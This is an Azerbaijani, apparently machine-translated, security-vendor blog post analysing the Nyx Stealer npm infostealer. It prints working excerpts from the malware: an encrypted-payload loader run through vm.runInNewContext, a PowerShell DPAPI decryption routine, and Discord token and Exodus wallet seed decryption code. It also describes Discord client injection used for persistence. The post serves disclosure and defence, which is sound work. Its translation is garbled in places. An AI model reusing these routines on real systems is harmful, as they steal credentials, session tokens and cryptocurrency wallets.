npm Məlumat Oğrusu

Yeni npm Infostealer Kəşfi: Nyx ​​Stealer Discord Sessiyalarını Hijacks

TL; DR

Xygeni Təhlükəsizlik Tədqiqat Qrupu iki zərərli paket vasitəsilə təqdim edilən mürəkkəb bir npm infostealer kampaniyasını müəyyən etdi: təsəlliselfbot-lofy.

Ən son versiya (consolelofy@1.3.0) İşləmə zamanı şifrəni açan və icra edən 216KB AES ilə şifrələnmiş faydalı yükü yerləşdirir vm.runInNewContext()Zərərli məntiq tam şifrələndiyindən, sətir yoxlamasına əsaslanan statik skanerlər icra vaxtına qədər onun davranışını müşahidə edə bilmirlər.

Şifrə açıldıqdan sonra, faydalı yük daxili markalanır Nyx Oğurluğu, hədəfləri:

  • Discord identifikasiya tokenləri
  • 50+ brauzer etimadnaməsi mağazası
  • 90+ kriptovalyuta cüzdan uzantıları
  • Roblox, Instagram, Spotify, Steam, Telegram və TikTok sessiyaları
  • Discord masaüstü müştəri davamlılığı

Hər iki paketdəki 20 versiyanın hamısı zərərli olduğu bildirildi və təsdiqləndi.

Bu npm Infostealer-in Texniki Baxışı

Ənənəvi quraşdırma zamanı zərərli proqram təminatından fərqli olaraq, bu kampaniya a-ya əsaslanır uzunluğu deşifrələmə modeli.

Var:

  • Zərərli yoxdur preinstall or postinstall hooks
  • Açıq quraşdırma zamanı şəbəkə zəngləri yoxdur
  • Sadə mətnli etimadnamə toplama məntiqi yoxdur

Modul idxal edildikdə faydalı yük aktivləşir. Bütün zərərli proqram şifrələnir və yalnız icra zamanı yaddaşda formalaşır.

Bu dizayn, xüsusilə paketin quraşdırılması zamanı aşkarlanmanın qarşısını alır.

Bu npm Infostealer Əslində Necə İşləyir

Nyx Stealer-in nəyi oğurladığını təhlil etməzdən əvvəl başa düşməliyik necə icra olunur.

Bu npm infooğurlayıcısının içindəki zərərli məntiq ardıcıl bir nümunəni izləyir:

Kiçik bir yükləyici böyük bir şifrələnmiş faydalı yükü deşifrə edir və onu Node.js VM kontekstində dinamik olaraq icra edir.

Bu dizayn qəsdən hazırlanıb. Hücumçu funksiyanı yalnız qarışıqlığın arxasında gizlətmir, onlar zərərli kodu statik görünürlükdən tamamilə silmək.

Yüksək Səviyyəli İcra Modeli

Yüksək səviyyədə, sarğı dörd şeyi edir:

  • SHA-256 istifadə edərək sərt kodlu parol ifadəsindən AES açarı əldə edir
  • AES-256-CBC istifadə edərək böyük bir hex kodlu şifrələnmiş mətni deşifrə edir
  • Şifrələnmiş JavaScript-i istifadə edərək icra edir vm.runInNewContext()
  • Hələ də güclü işləmə müddəti primitivlərini ifşa edən bir sandbox təmin edir

Əsas Texnika Xülasəsi

Komponent Konfiqurasiya / Dəyər
Alqoritm AES-256-CBC
Açar törəmə SHA-256 (parol)
Başlanğıclaşdırma Vektoru (IV) 0x00-un 16 baytı
Icra vm.runInNewContext(decrypted, sandbox)

Ən əsası, qum qutusu aşağıdakılardan keçir:

  • require
  • process
  • Buffer
  • timers
  • modul ixracları

Bu o deməkdir ki, şifrəsi açılmış yük aşağıdakıları etmək üçün tam imkanları saxlayır:

  • Kürü prosesləri
  • Faylları oxuyun və yazın
  • Şəbəkə zəngləri edin
  • Yerli tətbiqləri dəyişdirin

Bu, məhdudlaşdırılmış VM deyil. Bu, icra batut kimi istifadə edilən VM-dir.

İcra Zamanı Şifrələmə Nümunəsi (Əsas İcra Mexanizmi)

Yükləyici kiçikdir.
Zərərli bədən belə deyil.

Aşağıda paketin içərisində tapılan icra nümunəsi verilmişdir:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

Niyə bu məsələlər

Şifrələnmiş yük:

  • Mi yox npm paketinin içərisində düz mətndə mövcuddur
  • Sadə görünməzdir grep və ya statik sətir tarama
  • Yalnız iş vaxtında yaddaşda formalaşır
  • Tam Node işləmə müddəti imkanları ilə icra edir

Bu AES + VM icra kombinasiyası güclü davranış göstəricisidir npm infostealer statik yoxlamadan yayınmağa çalışır.

Başqa sözlə:

Paket mənbə ağacını skan etsəniz, oğurlayıcı görmürsünüz.
Bir deşifrləyici görürsünüz.

Şifrəni açdıqdan sonra nə baş verir

İcra edildikdən sonra, Nyx Stealer paralel məlumat toplama dalğalarını işə salır.

Dalğa 1: Brauzer Etimadnaməsinin Çıxarılması

Zərərli proqram:

  • NuGet CDN-dən Python işləmə müddətini yükləyir
  • Kriptoqrafik kitabxanalar quraşdırır
  • Xrom əsaslı etimadnamə mağazalarından çıxarışlar
  • DPAPI ilə qorunan sirləri deşifrə edir

Doğma bindingləri tərtib etmək əvəzinə, Windows DPAPI-ni birbaşa çağırmaq üçün PowerShell-dən istifadə edir.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

Bu yanaşma:

  • Tərtib artefaktlarından qaçınır
  • Doğma Windows kripto API-lərindən istifadə edir
  • İnzibati alətlərlə qarışır

Bu, OS səviyyəli etimadnamənin şifrəsinin açılmasıdır, skrep deyil.

Dalğa 2: Discord Token Şifrəsinin Açılması

Oğurluq edən şəxs protokoldan xəbərdardır və Discord-un şifrələnmiş token formatını başa düşür.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

Əməliyyat axını:

  • Discord-dan master açarı çıxarın Local State
  • DPAPI vasitəsilə master açarın şifrəsini açın
  • AES-GCM token bloklarının şifrəsini açın
  • Discord API-yə qarşı tokenləri təsdiqləyin
  • Nitro, nişanlar və ödəniş məlumatları ilə zənginləşdirin

Bu, ümumi etimadnamə dempinqi deyil. Bu, protokola əsaslanan sessiya oğurluğudur.

Dalğa 3: Kriptovalyuta Cüzdanının Hədəflənməsi

npm infostealer aşağıdakıları sadalayır:

  • 90+ brauzer cüzdanı uzantıları
  • 27 masaüstü cüzdan
  • Soyuq cüzdan yolları
  • Exodus toxum faylları

Nümunə toxum deşifrələmə cəhdi:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

Əgər uğurlu olarsa, cüzdan kompromissi dərhal və geri dönməzdir.

Bu, kampaniyanın ən yüksək dəyərli monetizasiya vektorunu təmsil edir.

Discord Desktop Enjeksiyonu vasitəsilə Davamlılıq

Etimadnamələri topladıqdan sonra, Nyx Stealer yerli olaraq dəyişiklik edərək əzmkarlıq göstərir. Diskordur müştəri.

Hədəf:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Əməliyyat ardıcıllığı

Məlumat oğurlayıcısı aşağıdakı addımları yerinə yetirir:

  • Discord proseslərinin işləməsini dayandırır
  • Quraşdırılmış Discord variantlarını (Stable, Canary, PTB) tapır
  • Üzərinə yazır discord_desktop_core/index.js
  • Hücumçu tərəfindən idarə olunan veb-hook məntiqini daxil edir
  • Discord-u yenidən başladır

Bu, gələcək Discord sessiyalarından avtomatik olaraq yeni identifikasiya tokenlərinin sızmasını təmin edir.

Əhəmiyyətli olan odur ki, bu davamlılıq planlaşdırılmış tapşırıqlara və ya reyestr dəyişikliklərinə əsaslanmır. O, daha gizli bir yanaşma olan tətbiq səviyyəli kod modifikasiyasından istifadə edir.

Zərərli npm paketi sonradan silinsə belə, Discord klienti təhlükə altında qalır.

Texniki Müqayisə: Qanuni Selfbot və npm Infostealer

Komponent Qanuni Kitabxana Nyx npm Infostealer
Şifreleme heç kim Tam AES ilə şifrələnmiş faydalı yük
İşləmə vaxtı virtual maşın Tələb vm.runInNewContext icra
Etibarnamə Girişi Yalnız Discord API-si Brauzer, cüzdanlar, DPAPI
Xarici Yükləmələr Yox Python işləmə müddəti NuGet vasitəsilə
Əzmkarlıq Yox Discord müştəri inyeksiyası
Para Kazanma Bot avtomatlaşdırması Etimadnamənin yenidən satışı

Təkcə şifrələmə təbəqəsi bu kampaniyanı tipik açıq mənbəli çəngəldən ayırır.

Qanuni Discord selfbotunun bütün kod bazasını şifrələmək, DPAPI-yə daxil olmaq üçün PowerShell-i işə salmaq, xarici işləmə müddətlərini yükləmək və ya masaüstü tətbiqinin daxili versiyalarını dəyişdirmək üçün heç bir səbəbi yoxdur. Bu imkanlar Discord qarşılıqlı təsirlərini avtomatlaşdırdığını iddia edən bir asılılıq daxilində göründükdə, memarlıq uyğunsuzluğunu görməzdən gəlmək mümkün olmur.

Tədqiqat baxımından, bu npm informasiya oğurlayıcısı birdən çox təbəqədə iz buraxır. Lakin, ən etibarlı göstəricilər sərt kodlu URL-lər və ya müəyyən fayl yolları deyil, çünki bunlar versiyalar arasında dəyişə bilər. Bunun əvəzinə, davamlı siqnallar struktur xarakter daşıyır.

Paket səviyyəsində ən güclü qırmızı bayraq, böyük bir şifrələnmiş faydalı yük və dərhal icra edilən işləmə müddəti deşifrələmə paketinin birləşməsidir vm.runInNewContext()Şifrələmənin özü zərərli olmasa da, Discord yardım proqramı daxilində AES şifrəsinin açılması və ardından dinamik VM icrası olduqca qeyri-adidir.

Host səviyyəsində şübhəli nümunələrə gözlənilməz DPAPI şifrələmə fəaliyyəti, Node.js asılılıq kontekstindən prosesin yaranması və üçüncü tərəf kitabxanaları tərəfindən heç vaxt dəyişdirilməməli olan yerli tətbiq fayllarının modifikasiyası daxildir. Eynilə, şəbəkə səviyyəsində, inkişaf asılılığı tərəfindən başlanan xaricə gedən vebhook tipli rabitə başqa bir mənalı anomaliyanı təmsil edir.

Başqa sözlə, aşkarlama səthi kompromisin tək bir göstəricisi deyil. Təhdidi aşkar edən şifrələmə, icra müddəti icrası, etimadnaməyə giriş və davamlılıq davranışının korrelyasiyasıdır.

Xygeni ilə aşkarlama və azaldılma

npm Məlumat Oğrusu

Bu npm məlumat oğurlayıcısı tərəfindən müəyyən edildi Xygeni-nin Zərərli Proqram Təminatı Erkən Xəbərdarlığı (MEW) sadə imza uyğunluğu əvəzinə, laylı davranış korrelyasiyası vasitəsilə.

Məlum zərərli sətirləri axtarmaq əvəzinə, MEW, bütün mənbə ağacı boyunca struktur anomaliyalarını qiymətləndirir. Bu halda, aşkarlama bir neçə siqnalın konvergensiyasından yaranır: modul giriş nöqtəsində quraşdırılmış AES şifrələmə proseduru, VM kontekstində dərhal icra və açıq-aydın qabiliyyət-niyyət uyğunsuzluğu.

Əhəmiyyətli olan odur ki, bu siqnalların heç biri təkbaşına zərərli niyyəti sübut etmir. Lakin, birlikdə təhlil edildikdə, onlar icra müddəti davranışını gizlətmək cəhdini üzə çıxarır. Bu çoxmərtəbəli yanaşma yüksək etibarlı təchizat zənciri təhdidlərini müəyyən edərkən yalançı müsbət nəticələri əhəmiyyətli dərəcədə azaldır.

Bundan əlavə, bu hal təkcə quraşdırma zamanı yoxlamanın nə üçün qeyri-kafi olduğunu göstərir. Zərərli məntiq həyat dövrü skriptlərində yerləşmir. O, yalnız modul yükləndikdən sonra aktivləşir və yalnız yaddaşda şifrə açıldıqdan sonra görünür olur. Buna görə də, effektiv müdafiə şifrələməni nəzərə alan təhlil, davranış nümunəsinin tanınması və quraşdırma hadisələrindən kənarda davamlı asılılıq monitorinqini tələb edir.

Reyestrin silinməsi reaktivdir. İcra müddətinə əsaslanan təhlil profilaktikdir.

Niyə bu npm Infostealer vacibdir

Nyx Stealer, npm əsaslı zərərli proqram təminatında struktur təkamülü təmsil edir.

Tarixən bir çox zərərli paketlər görünən quraşdırma vaxtı skriptlərinə və ya açıq-aşkar etimadnamə çıxarma son nöqtələrinə əsaslanırdı. Bunun əksinə olaraq, bu kampaniya öz yükünü şifrələyir, icrasını icra müddətinə təxirə salır, qanuni əməliyyat sistemi API-lərindən istifadə edir və etibarlı tətbiqlərdə davamlılıq yaradır.

Nəticə etibarilə, hücumçunun npm infrastrukturunu özü istismar etməsinə ehtiyac yoxdur. Bunun əvəzinə, hücum uğur qazanır, çünki asılılıq quraşdırılması etibar deməkdir. Tərtibatçılar kitabxananın idxalının təhlükəsiz bir əməliyyat olduğunu düşünürlər, xüsusən də özünü məşhur bir alətin mümkün bir çəngəli kimi təqdim etdikdə.

Ekosistemlər böyüməyə davam etdikcə və çəngəllər çoxaldıqca, bu gizli etimad sərhədi getdikcə cəlbedici bir hücum səthinə çevrilir. Buna görə də, müasir npm məlumat oğurluqlarına qarşı müdafiə olunmaq statik tellər axtarmaqdansa, memarlıq nümunələrini tanımağı tələb edir.

Nəticədə, bu kampaniya vacib bir dərsi möhkəmləndirir software supply chain securityƏn təhlükəli təhdidlər ilk baxışdan zərərli görünənlər deyil, icra müddəti onların əsl davranışlarını ortaya çıxarana qədər struktur olaraq qanuni görünənlərdir.

sca-tools-proqram-kompozisiya-analiz-alətləri
Proqram təminatı risklərinizi prioritetləşdirin, aradan qaldırın və təhlükəsizləşdirin
Pulsuz Hesabınızı əldə edin.
Kredit kartı tələb olunmur.

Proqram təminatınızın hazırlanması və çatdırılmasını təmin edin

Xygeni Məhsul Dəsti ilə